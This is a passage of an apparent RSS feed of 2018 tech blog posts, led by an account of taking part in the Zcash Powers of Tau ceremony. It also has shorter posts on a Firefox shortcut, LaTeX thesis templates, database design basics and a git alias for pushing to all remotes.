&lt;h1 id="what-is-the-powers-of-tau-ceremony"&gt;What is the Powers of Tau Ceremony?&lt;/h1&gt;
&lt;p&gt;I won’t pretend to understand. The digital currency group, The Zcash Foundation, &lt;a href="https://z.cash.foundation/blog/powers-of-tau/"&gt;posted an announcement&lt;/a&gt; late last year that explains it, but the main thing I got was this.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The best part is that the Powers of Tau […] can scale to hundreds (or even thousands) of participants. As the number of participants grows, it becomes implausible that all of them could be compromised.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Basically they were looking for a lot of people to do &lt;em&gt;something&lt;/em&gt;.&lt;/p&gt;

&lt;h1 id="why-did-i-do-it"&gt;Why did I do it?&lt;/h1&gt;
&lt;p&gt;Early in 2017, my friends Corinne, Jeremy, and Lexi, and they told me about this cool Radiolab podcast episode called &lt;a href="http://www.radiolab.org/story/ceremony/"&gt;“The Ceremony”&lt;/a&gt;. It was a very intriguing story, but apart from looking up Zcash, I didn’t think much of it.&lt;/p&gt;

&lt;p&gt;Then, earlier this week, my co-worker Alok emailed out about the second iteration of “The Ceremony”. He was participating, and he showed how easy it was: you download a file, run a script, and upload the result. If anyone wanted to participate they just needed to &lt;a href="https://lists.z.cash.foundation/mailman/listinfo/zapps-wg"&gt;email a group&lt;/a&gt; and let the group know.&lt;/p&gt;

&lt;h1 id="how-did-i-get-involved"&gt;How did I get involved?&lt;/h1&gt;

&lt;p&gt;I fired-off &lt;a href="https://lists.z.cash.foundation/pipermail/zapps-wg/2018/000255.html"&gt;a quick email&lt;/a&gt;.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I’d like to help out. I’m available any day of the week except Thursdays.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Less than an hour later, I got an email from one of the organizers, Jason.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Great. I do actually have a slot this Friday (16th) at the moment.  Would that work for you?  What time zone are you in?  We normally give each participant 24 hours from the point they receive the challenge file.  I will send you further instructions when it’s your turn.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;On Friday, I got an email with setup instructions and a link to the site where I downloaded the challenge and needed to upload the response.&lt;/p&gt;

&lt;p&gt;&lt;img alt="this is what secrecy looks like" src="/assets/article_images/2018-02-17-powers-of-tau/challenge-website.png" /&gt;&lt;/p&gt;

&lt;p&gt;Then I got started.&lt;/p&gt;

&lt;h1 id="setting-up-hardware"&gt;Setting-up Hardware&lt;/h1&gt;
&lt;p&gt;I installed “Raspbian Strech with Desktop” &lt;a href="/assets/article_images/2018-02-17-powers-of-tau/2017-11-29-raspbian-stretch.zip.torrent"&gt;via torrent&lt;/a&gt; (sha &lt;code class="language-plaintext highlighter-rouge"&gt;64c4103316efe2a85fd2814f2af16313abac7d4ad68e3d95ae6709e2e894cc1b&lt;/code&gt;) onto my Raspberry Pi 3.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;~ $ openssl sha -sha256 ~/Downloads/2017-11-29-raspbian-stretch.zip
SHA256(/Users/sal/Downloads/2017-11-29-raspbian-stretch.zip)= 64c4103316efe2a85fd2814f2af16313abac7d4ad68e3d95ae6709e2e894cc1b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="imaging the SD card with Etcher" src="/assets/article_images/2018-02-17-powers-of-tau/etcher.png" /&gt;&lt;/p&gt;

&lt;p&gt;Once I formatted the SD card, I enabled SSH’ing into my RPi.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;~ $ cd /Volumes/boot/
boot $ touch ssh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id="installing-software"&gt;Installing Software&lt;/h1&gt;
&lt;p&gt;I installed Rust onto the Raspberry Pi…&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;pi@raspberrypi:~ $ curl https://sh.rustup.rs &amp;gt; install-rust.sh
pi@raspberrypi:~ $ openssl sha256 install-rust.sh
SHA256(install-rust.sh)= 22aa1f7f4c4b9be99a9d7e13ad45b2aec6714165a0578dd5ef81ca11f55ea24e
pi@raspberrypi:~ $ bash install-rust.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;… and cloned &lt;a href="https://github.com/ebfull/powersoftau"&gt;powersoftau&lt;/a&gt; (commit &lt;code class="language-plaintext highlighter-rouge"&gt;d47a1d3d1f007063cbcc35f1ab902601a8b3bd91&lt;/code&gt;) and downloaded my challenge file via &lt;code class="language-plaintext highlighter-rouge"&gt;wget&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Next, I &lt;code class="language-plaintext highlighter-rouge"&gt;cd&lt;/code&gt;‘d to the &lt;code class="language-plaintext highlighter-rouge"&gt;powersoftau&lt;/code&gt; directory and started the program.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;cargo run --release --bin compute
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This downloaded and installed everything I needed. Once all the network requests were done, I unplugged my router from the wall, so I could still SSH into my RPi, but there was no internet connection (fortunately my roommates were out of town).&lt;/p&gt;

&lt;p&gt;Less than two minutes into running, the Rust program crashed unceremoniously with a when the OS decided it had enough.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Killed
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I threw a similar setup on my laptop (MacBook Pro (15-inch, 2016) running 10.13.3) with the same version of Rust and the GitHub repo. I turned the internet connection back off on my laptop and disabled my router.&lt;/p&gt;

&lt;p&gt;&lt;img alt="I covered the laptop in a silver mylar blanket. I don't think it made anything more secure, but it made me feel safer." src="/assets/article_images/2018-02-17-powers-of-tau/silver-mylar-blanket.jpeg" /&gt;&lt;/p&gt;

&lt;h1 id="running-the-program"&gt;Running the Program&lt;/h1&gt;
&lt;p&gt;To get entropy for the program, I went to the local transit station (16th/Mission BART) and asked people for random numbers. Only a handful of people were willing to talk to me, so I eventually resorted to messaging a bunch of my friends saying “Please send me a number” over Signal and Facebook Messenger (using the Signal option). I also went karaokeing, and I added some of the songs as well.&lt;/p&gt;

&lt;p&gt;&lt;img alt="I think this counts as entropy." src="/assets/article_images/2018-02-17-powers-of-tau/karaoke-entropy.jpeg" /&gt;&lt;/p&gt;

&lt;p&gt;The program took a few hours to run and resulted in this.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Writing your contribution to `./response`...
Done!

Your contribution has been written to `./response`

The BLAKE2b hash of `./response` is:
        1f65d9db a726e65f 96e97235 3eb58707
        48bf26e2 d04575b4 e2f95cd6 5ce4fb65
        c7157dfe 497559b9 bd8f453a 6fbe1c68
        daced14e 09e51975 64773fdb 437d8ac7
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id="thanks"&gt;Thanks&lt;/h1&gt;
&lt;p&gt;Thank you to Alok for telling me about this and to all of the people who gave me seed numbers for the ceremony: Alen, Amod, Annirudh, Anton, Axel, Christian, Conor, Corinne, Hailey, JB, Katrina, Leila, Matt, Maximillian, Mike, Mike, Reva, Waseem, and Will.&lt;/p&gt;</description><author>Salvatore's Blog</author><pubDate>Sat, 17 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://sal.dev/crypto/powers-of-tau/</guid></item><item><title>How I write blog posts every month</title><link>https://daniel.do/article/how-i-write-blog-posts</link><description>What I've learned after writing regularly for half a year.</description><author>Daniel Immke</author><pubDate>Sat, 17 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://daniel.do/article/how-i-write-blog-posts</guid></item><item><title>WordPress and Machine learning</title><link>https://yasha.solutions/wordpress-and-machine-learning/</link><description>I have been working on an idea for a LMS project I am involved with.
 The general problem we are trying to solve is to provide a customise learning path for users
 Here are some of the videos I found relevant and quick research notes.
 #Machine Learning with WordPress(not as much about wordpress as I thought it would be but a nice intro)
 #Building a Machine Learning Platform at QuoraVery good consideration – must relisten to it again.</description><author>Yasha Solutions</author><pubDate>Fri, 16 Feb 2018 22:21:25 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/wordpress-and-machine-learning/</guid></item><item><title>Generating Fantasy Worlds</title><link>https://benovermyer.com/blog/2018/02/generating-fantasy-worlds/</link><description>&lt;p&gt;One of my favorite things to think about is the procedural generation of fantasy settings. There are a few people &lt;a href="https://heredragonsabound.blogspot.com/" rel="external"&gt;doing interesting work&lt;/a&gt; on procedural generation of components of settings, but no one is really looking at the big picture.&lt;/p&gt;
&lt;p&gt;Well, that's not quite true; &lt;a href="http://www.bay12games.com/dwarves/" rel="external"&gt;Dwarf Fortress&lt;/a&gt; does a great job of simulating the evolution of a fantasy world.&lt;/p&gt;
&lt;p&gt;However, the area that I'm focused on is on the generation of settings for the purpose of fantasy tabletop gaming. To my knowledge, no one is working on this problem. As part of my exploration of this domain, I'll have to borrow lessons from other types of procedural generation.&lt;/p&gt;
&lt;p&gt;I once attended a game convention where Ed Greenwood (of Forgotten Realms fame) was a guest speaker. He explained how he starts working on a fantasy setting. He starts with the trade routes between towns, using exports and imports to derive what the culture of a particular area is like. I'm going to take a similar route to get started.&lt;/p&gt;
&lt;p&gt;You can follow my efforts &lt;a href="https://github.com/BenOvermyer/country-maker" rel="external"&gt;here&lt;/a&gt;. For the moment, it's written in PHP. Once I have the logic solidly in place, I will likely rewrite it in Go or something similar for performance reasons.&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Fri, 16 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2018/02/generating-fantasy-worlds/</guid></item><item><title>StackOverflow 100K</title><link>https://peterlyons.com/problog/2018/02/stackoverflow-100k/</link><description>&lt;p&gt;I just crossed 100,000 reputation on stackoverflow. I've posted 1618 answers. Most of this activity was around node.js and javascript, especially from when I was really focused on learning a new ecosystem between 2011 and 2014. Analytics indicate my answers have reached 6.3 million people, which I'm very pleased with.&lt;/p&gt;
&lt;p&gt;I earned gold badges for javascript, node.js, and express. My favorite badge is "Necromancer" (answer a question more than 60 days later with a score of 5 or more), which I earned 11 times.&lt;/p&gt;
&lt;p&gt;The past two years or so have been mostly compound interest. A lot of it is from answering really, really basic questions early enough to become a repeat hit in search queries. The answer I put the most effort into is &lt;a href="https://stackoverflow.com/a/19623507/266795"&gt;how to structure an express.js application&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://stackoverflow.com/users/266795/peter-lyons"&gt;Here's my stackoverflow profile&lt;/a&gt;&lt;/p&gt;</description><author>Pete's Points</author><pubDate>Thu, 15 Feb 2018 15:16:57 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2018/02/stackoverflow-100k/</guid></item><item><title>MacOS: Keyboard Shortcut to Toggle Bookmarks Bar in Firefox</title><link>https://josh.works/firefox-toggle-bookmark-bar-keyboard-shortcut</link><description>&lt;p&gt;A few weeks ago, after &lt;a href="https://www.mozilla.org/en-US/firefox/"&gt;Firefox Quantum&lt;/a&gt; came out, I decided to try making Firefox my daily browser, instead of Chrome.&lt;/p&gt;

&lt;p&gt;Turns out, Firefox is great! It was a near-seamless transition, and Firefox has a much lower memory footprint, as well as features Chrome does not have, like &lt;a href="https://support.mozilla.org/en-US/kb/tracking-protection"&gt;Tracking Protection&lt;/a&gt; and &lt;a href="https://blog.mozilla.org/firefox/reader-view/"&gt;Reader View&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;But something was bothering me to no end. I could &lt;em&gt;not&lt;/em&gt; find a keyboard shortcut to toggle the visibility of the bookmarks toolbar.&lt;/p&gt;

&lt;p&gt;I take a lot of screenshots throughout the day, and share them within my company. I don’t really want my bookmarks bar taking up space in the screenshot, but I do sometimes need it to find actual bookmarks.&lt;/p&gt;

&lt;p&gt;In Chrome, &lt;code class="language-plaintext highlighter-rouge"&gt;Cmd-Shift-B&lt;/code&gt; toggles the bookmarks bar visibility. In Firefox, that combo shows your history.&lt;/p&gt;

&lt;!--more--&gt;
&lt;p&gt;The primary fix is to use the Mac &lt;em&gt;operating system&lt;/em&gt; to set an App-specific keyboard shortcut. This is bananas, and I’ve never done it before.&lt;/p&gt;

&lt;p&gt;Here’s how to do it:&lt;/p&gt;

&lt;p&gt;Navigate to &lt;code class="language-plaintext highlighter-rouge"&gt;System Preferences &amp;gt; Keyboard&lt;/code&gt;. From the options on the top bar (Keyboard, Text, Shortcuts, etc) select &lt;code class="language-plaintext highlighter-rouge"&gt;Shortcuts&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In the left-hand sidebar, choose &lt;code class="language-plaintext highlighter-rouge"&gt;App Shortcuts&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img alt="find the app shortcut screen" src="/images/2018-02-15_01.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;Hit the &lt;code class="language-plaintext highlighter-rouge"&gt;+&lt;/code&gt; icon to add a new shortcut, and select &lt;code class="language-plaintext highlighter-rouge"&gt;Firefox.app&lt;/code&gt; from the list of applications.&lt;/p&gt;

&lt;p&gt;Enter this string exactly where in the Menu Title box:&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;View-&amp;gt;Toolbars-&amp;gt;Bookmarks Toolbar&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img alt="add the shortcut" src="/images/2018-02-15_02.jpg" /&gt;&lt;/p&gt;

&lt;p&gt;I used &lt;code class="language-plaintext highlighter-rouge"&gt;Cmd-Shift-Y&lt;/code&gt; as my shortcut - it took a few attempts to find something that didn’t conflict with existing OS/Firefox shortcuts.&lt;/p&gt;

&lt;p&gt;(And yes, I tried to unmap &lt;code class="language-plaintext highlighter-rouge"&gt;Cmd-Shift-B&lt;/code&gt;, to free it up for this shortcut, and could not. If you figure out how, please let me know.)&lt;/p&gt;

&lt;h2 id="the-result"&gt;The result&lt;/h2&gt;

&lt;p&gt;&lt;img alt="toggle away, friend" src="/images/2018-02-15_03.gif" /&gt;&lt;/p&gt;

&lt;h2 id="firefoxs-gotcha"&gt;Firefox’s Gotcha&lt;/h2&gt;

&lt;p&gt;Sometimes the keyboard shortcut doesn’t work. It seems like Firefox “forgets” what it’s supposed to do.&lt;/p&gt;

&lt;p&gt;If that happens, I’m able to set things back as they should be by toggling the bookmarks bar manually, once, and then the shortcut works again.&lt;/p&gt;

&lt;p&gt;(This setting lives in &lt;code class="language-plaintext highlighter-rouge"&gt;View &amp;gt; Toolbars &amp;gt; Bookmarks Toolbar&lt;/code&gt;)&lt;/p&gt;

&lt;h3 id="additional-readinguseful-resources"&gt;Additional Reading/Useful resources&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href="http://osxdaily.com/2017/08/08/create-custom-keyboard-shortcut-mac/"&gt;OSX Daily: How to Create Custom Keyboard Shortcuts in Mac OS&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="https://support.mozilla.org/en-US/questions/865261"&gt;Mozilla Support Forum: Is there a short/hotkey to show/hide bookmark toolbar?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>Josh Thompson</author><pubDate>Thu, 15 Feb 2018 15:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/firefox-toggle-bookmark-bar-keyboard-shortcut</guid></item><item><title>LaTeX Templates for Theses and Reports</title><link>https://bastian.rieck.me/blog/2018/latex_templates/</link><description>&lt;p&gt;After defending &lt;a href="http://nbn-resolving.de/urn:nbn:de:bsz:16-heidok-229145"&gt;my thesis&lt;/a&gt;
last year, I wanted to show my newfound admiration for all things LaTeX.
Since I spent a lot of time getting the formatting &lt;em&gt;just right&lt;/em&gt; for my
purposes (following typographical advice of numerous sources),
I decided to create some LaTeX packages for research-based documents.&lt;/p&gt;
&lt;h1 id="latex-mimore"&gt;&lt;code&gt;latex-mimore&lt;/code&gt;&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://github.com/Pseudomanifold/latex-mimore"&gt;&lt;code&gt;latex-mimore&lt;/code&gt;&lt;/a&gt; is
a minimal and modern template for reports, such as the ones you have to
do for a seminar. You can also use the class for longer documents, such
as a bachelor&amp;rsquo;s thesis, but I would recommend using &lt;code&gt;latex-mimosis&lt;/code&gt;,
which I describe below. If you clone the repository and set up your
LaTeX environment correctly, using the class is as easy as writing&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\documentclass{mimore}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;as the preamble to your document. Please take a look at the &lt;a href="https://github.com/Pseudomanifold/latex-mimore"&gt;GitHub
repository&lt;/a&gt; for more
details. &lt;a href="https://github.com/Pseudomanifold/latex-mimore/blob/master/Seminar.pdf"&gt;This is what a document looks like if formatted with &lt;code&gt;latex-mimore&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="latex-mimosis"&gt;&lt;code&gt;latex-mimosis&lt;/code&gt;&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://github.com/Pseudomanifold/latex-mimosis"&gt;&lt;code&gt;latex-mimosis&lt;/code&gt;&lt;/a&gt; is the
bigger sibling of &lt;code&gt;latex-mimore&lt;/code&gt;. It is meant for your Ph.D.
dissertation thesis, your master&amp;rsquo;s thesis, or your bachelor&amp;rsquo;s thesis.
Again, using it is as easy as adding&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;\documentclass{mimosis}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to your preamble. Please take a look at the &lt;a href="https://github.com/Pseudomanifold/latex-mimosis"&gt;GitHub
repository&lt;/a&gt; for more
details. &lt;a href="https://pseudomanifold.github.io/latex-mimosis/Thesis.pdf"&gt;This is what a document looks like if formatted with &lt;code&gt;latex-mimosis&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="design-considerations"&gt;Design considerations&lt;/h1&gt;
&lt;p&gt;Both packages have been carefully crafted. They aim to be…&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;clean: there is no LaTeX trickery involved; the page is neatly divided
using standard typesetting practices. Adjustments to the defaults are
documented and make sense. At least to me.&lt;/li&gt;
&lt;li&gt;minimal: there are no unnecessary adjustments of anything in there, no
spurious decorations. The layout is inspired by &lt;a href="https://en.wikipedia.org/wiki/Robert_Bringhurst"&gt;Robert Bringhurst&lt;/a&gt;
and his ideas about typography.
You can also detect a hint of &lt;a href="https://en.wikipedia.org/wiki/Edward_Tufte"&gt;Edward Tufte&lt;/a&gt; in there,
even though I am not such a big fan of the layout in his books; at
least not for my own dissertation.&lt;/li&gt;
&lt;li&gt;modern: the template should be pleasing to the eye, without any of the
cruft that is a remnant of typewriter times.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The templates are released under an MIT licence and I would love to hear
your feedback about them. If anything is missing or can be improved,
please open an issue in the corresponding repository.&lt;/p&gt;
&lt;p&gt;Happy TeXing, until next time!&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Thu, 15 Feb 2018 14:20:33 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2018/latex_templates/</guid></item><item><title>An introduction to the CruzDB database system</title><link>https://makedist.com/posts/2018/02/15/an-introduction-to-the-cruzdb-database-system/</link><description>CruzDB is an immutable database built on top of a distributed shared-log.</description><author>Noah Watkins</author><pubDate>Thu, 15 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://makedist.com/posts/2018/02/15/an-introduction-to-the-cruzdb-database-system/</guid></item><item><title>Scale and arguments</title><link>https://venam.net/blog/psychology/2018/02/15/scale.html</link><description>In this article I'm going to pose a not so novel compatibilistic idea about the so-recurrent philosophical discussion of free will and determinism. However, this can apply to any topic where reductionism is over-used. Let's get started.</description><author>Venam's Blog — Patrick Louis (Lebanon)</author><pubDate>Wed, 14 Feb 2018 19:00:00 GMT</pubDate><guid isPermaLink="true">https://venam.net/blog/psychology/2018/02/15/scale.html</guid></item><item><title>Making technology less manipulative</title><link>https://ilearnt.com/blog/technologymanipulative/</link><description>&lt;p&gt;This was an excellent podcast on the ethics behind some of the decisions being made about technology today. The whole talk is excellent and thought provoking however for me one part (about 27 minutes in) stood out:&lt;/p&gt;</description><author>I Learnt</author><pubDate>Wed, 14 Feb 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/technologymanipulative/</guid></item><item><title>Day Xero</title><link>https://utf9k.net/blog/day-xero/</link><description>Thoughts upon entering my first proper job in the industry</description><author>utf9k</author><pubDate>Wed, 14 Feb 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://utf9k.net/blog/day-xero/</guid></item><item><title>Beginners Database Design Primer</title><link>/database-design/</link><description>&lt;div class="image"&gt;
	&lt;img src="../../assets/images/database.png" /&gt;
&lt;/div&gt;
&lt;p&gt;Your boss has just got off the phone with a client who wants a bespoke social network site targeting a niche market. And they want you to head up the project. You’ve never built a social network. Your mind goes to Facebook, Twitter, and Instagram. They’re built by thousands of people with genius level IQ’s and degrees. How could you compete?&lt;/p&gt;
&lt;p&gt;Well that’s at least the situation I found myself in.&lt;/p&gt;
&lt;p&gt;My task was to first to design a database for this social network client. This is the advice and help I would have wanted to read. Please note: This applies generally for all database design. A social network will be merely used as an example.&lt;/p&gt;
&lt;h2&gt;But why did I feel that the database design was so critical?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Bad database design leads to laborious and slow queries&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Duplicate data and incorrect column data types occupy more disk space&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Think about your features and the relationship between them&lt;/h2&gt;
&lt;p&gt;What are the features of the site? &lt;strong&gt;Really&lt;/strong&gt; &lt;strong&gt;break it down&lt;/strong&gt;. The more you break it down, the less “&lt;em&gt;Oh yeah, let’s add a table for that&lt;/em&gt;” you’ll get later down the line. I suggest using a tool like &lt;a href="https://www.draw.io/"&gt;draw.io&lt;/a&gt; to map out your tables before putting them into the actual database.&lt;/p&gt;
&lt;p&gt;As we are building a social network, the leading feature is letting users posts and allowing other (authorized) users to comment. Here we have a one-to-many relationship, because a user will be able to have many posts and comments.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cdn-images-1.medium.com/max/2740/0*FyqSEsID4A_2jE_n." /&gt;&lt;/p&gt;
&lt;p&gt;We will have other instances such as with user “likes” (such as liking a page, or group) that will require a many-to-many relationship because a user will have many likes, and those likes will have many different properties.&lt;/p&gt;
&lt;p&gt;One of the primary objectives of good database design is to remove redundant data and increase the integrity of that data. Often, people combine tables that have one-to-one relationships. For example storing users data with their address. Let’s see why:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cdn-images-1.medium.com/max/2808/0*JVxQ1FSGDaEupI9Z." /&gt;&lt;/p&gt;
&lt;p&gt;The example on the left combines the users table with the address for that person. On the right we have separated it into different tables. But which approach is optimal?&lt;/p&gt;
&lt;p&gt;Well, as with most things, &lt;strong&gt;it depends&lt;/strong&gt;. When I was building this particular application, the address was an optional field, therefore it was most appropriate to store these locations in another table. Furthermore, it was under future consideration to allow for many addresses for a single user. Therefore, in my case, storing them in the same table would restrict me to a 1-to-1 relationship only, thereby limiting me on future features.&lt;/p&gt;
&lt;p&gt;Performance may be a factor here as the more “relationship” tables you have, the more joins you need to make, thereby slowing query time. This could have repercussions as you scale.&lt;/p&gt;
&lt;h2&gt;Think about what data you will need&lt;/h2&gt;
&lt;p&gt;That leads onto my next point about think through what your application will display. Think about the query to get that data in your head. If, to extract that information, you have to make tons of joins and subqueries and all sorts then perhaps you need to rethink your design.&lt;/p&gt;
&lt;p&gt;I’m most keenly aware of this principle when thinking about analytics. For example, in this social network application, we want analytics for where the application is used. If we are to do this purely via the address fields we store for users (without any IP location wizardry) then we may chose to store the counties list in a separate table and then link that with the main addresses table. This would enable us to quickly query for certain country&lt;em&gt;id’s and ascertain how many users are registered there. We _could&lt;/em&gt; leave the country as a text input for the user but this may lead to incorrect spellings of counties and other duplicate data that would lead to false statistics.&lt;/p&gt;
&lt;p&gt;Overall, understand what your application requires and design around that whilst still being flexible for future expansion.&lt;/p&gt;
&lt;h2&gt;Think about the data stored in the columns&lt;/h2&gt;
&lt;p&gt;An underestimated point of database design is that of column data types. Often columns are given simple &lt;strong&gt;VARCHAR&lt;/strong&gt; or &lt;strong&gt;INT&lt;/strong&gt; data types, this is not always the most performant or memory efficient way of designing them and changing the data type after the fact can lead to corrupted data in those columns.&lt;/p&gt;
&lt;p&gt;Become familiar with the different data types, these are almost universal across all programming languages and databases and will allow you to think at a lower level of abstraction to the data you are handling.&lt;/p&gt;
&lt;p&gt;As mentioned previously, one of the main problems with inefficient data types is that they occupy too much space on disk. For example, let’s say we are storing a flag checking if a users post has been deleted or not. Because the only 2 values of this column should be 0 or 1 (the former for undeleted, and the latter for deleted), then we do not need the 4 bytes it takes to store a whole integer (which can be any number from -2147483648 to 2147483648). We merely need the &lt;strong&gt;TINYINT&lt;/strong&gt; data type (or &lt;strong&gt;BOOLEAN&lt;/strong&gt; in MySQL), which occupies a mere 1 byte. That’s a whole 4 times smaller! Now 4 times smaller than nothing is still nothing so this may seem like a needless reduction that will save a fraction of disk space. And in &lt;em&gt;most&lt;/em&gt; cases, you are &lt;strong&gt;probably right&lt;/strong&gt;; But if the service were to scale, to hundreds of thousands or even millions of rows, then your boss would be thanking you for saving them a lot of money in drive space by going for the &lt;strong&gt;TINYINT&lt;/strong&gt; option. Take the time to think of the most performant and lean design for your database. Act as if you are designing for Facebook-level scale — it will pay off.&lt;/p&gt;
&lt;h2&gt;Avoid storing calculated columns&lt;/h2&gt;
&lt;p&gt;A common mistake when designing a database is to store redundant information that can be calculated by your application. Using my example, we want to display the users age on their profile. It may be possible to store the users age directly in a column, but if we have their birth date then we can simply calculate their age on the fly. If speed becomes an issue where calculations cannot be done, then it would be best to cache it in your application or in a key-value database such as Redis before finally resorting to storing the calculated value. Other examples of where calculated information storage might be suggested is for exam grade averages or the number of orders a person has placed.&lt;/p&gt;
&lt;h2&gt;What other tips do you have for database design?&lt;/h2&gt;
&lt;p&gt;I tried to target the “&lt;a href="https://en.wikipedia.org/wiki/Pareto_principle"&gt;Pareto problems&lt;/a&gt;” here — meaning that, in my view, these 20% of tips will solve 80% of basic database design problems. That being said, there is a &lt;strong&gt;lot&lt;/strong&gt; more to learn, and if you’re interested check out &lt;a href="https://en.wikipedia.org/wiki/Database_normalization"&gt;database normalization rules (NF)&lt;/a&gt; once you have fully taken in the information from this article.&lt;/p&gt;
&lt;p&gt;👋 I am available for hire as a freelance application consultant/developer. Contact me at &lt;a href="mailto:hola@joshghent.com"&gt;hola@joshghent.com&lt;/a&gt; if you would like to discuss any projects you have in mind.&lt;/p&gt;</description><author/><pubDate>Wed, 14 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">/database-design/</guid></item><item><title>2018-02-14/01</title><link>https://ho.dges.online/pictures/2018-02-14-01/</link><description/><author>ho.dges.online</author><pubDate>Wed, 14 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2018-02-14-01/</guid></item><item><title>2018-02-14/03</title><link>https://ho.dges.online/pictures/2018-02-14-03/</link><description/><author>ho.dges.online</author><pubDate>Wed, 14 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2018-02-14-03/</guid></item><item><title>Pushing to all git remotes with one command</title><link>https://bastian.rieck.me/blog/2018/git_push_all_remotes/</link><description>&lt;p&gt;If you are like me and a long-term &lt;code&gt;git&lt;/code&gt; user, you will probably
accumulate numerous remotes per repository (maybe one for
your private server, one for work, and so on).&lt;/p&gt;
&lt;p&gt;Pushing to &lt;em&gt;all&lt;/em&gt; of them can get a bit tedious, so I defined a new
commnad &lt;code&gt;gpa&lt;/code&gt;, which is of course short for &lt;em&gt;&lt;code&gt;git push all&lt;/code&gt;&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git remote | xargs -L1 git push --all
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let us dissect this quickly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The need for &lt;code&gt;git remote&lt;/code&gt; is obvious because it permits us to
enumerate all remotes&lt;/li&gt;
&lt;li&gt;We need &lt;code&gt;xargs -L1&lt;/code&gt; in order to format the input to fit into
one line&lt;/li&gt;
&lt;li&gt;Finally, the &lt;code&gt;git push --all&lt;/code&gt; pushes &lt;em&gt;all&lt;/em&gt; branches to the specified
remote&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I have &lt;code&gt;alias gpa='git remote | xargs -L1 git push --all'&lt;/code&gt; in my ZSH
configuration, so that I can use this command globally.&lt;/p&gt;
&lt;p&gt;Happy committing, until next time!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: &lt;a href="https://twitter.com/conrad784"&gt;Conrad&lt;/a&gt; was kind enough to
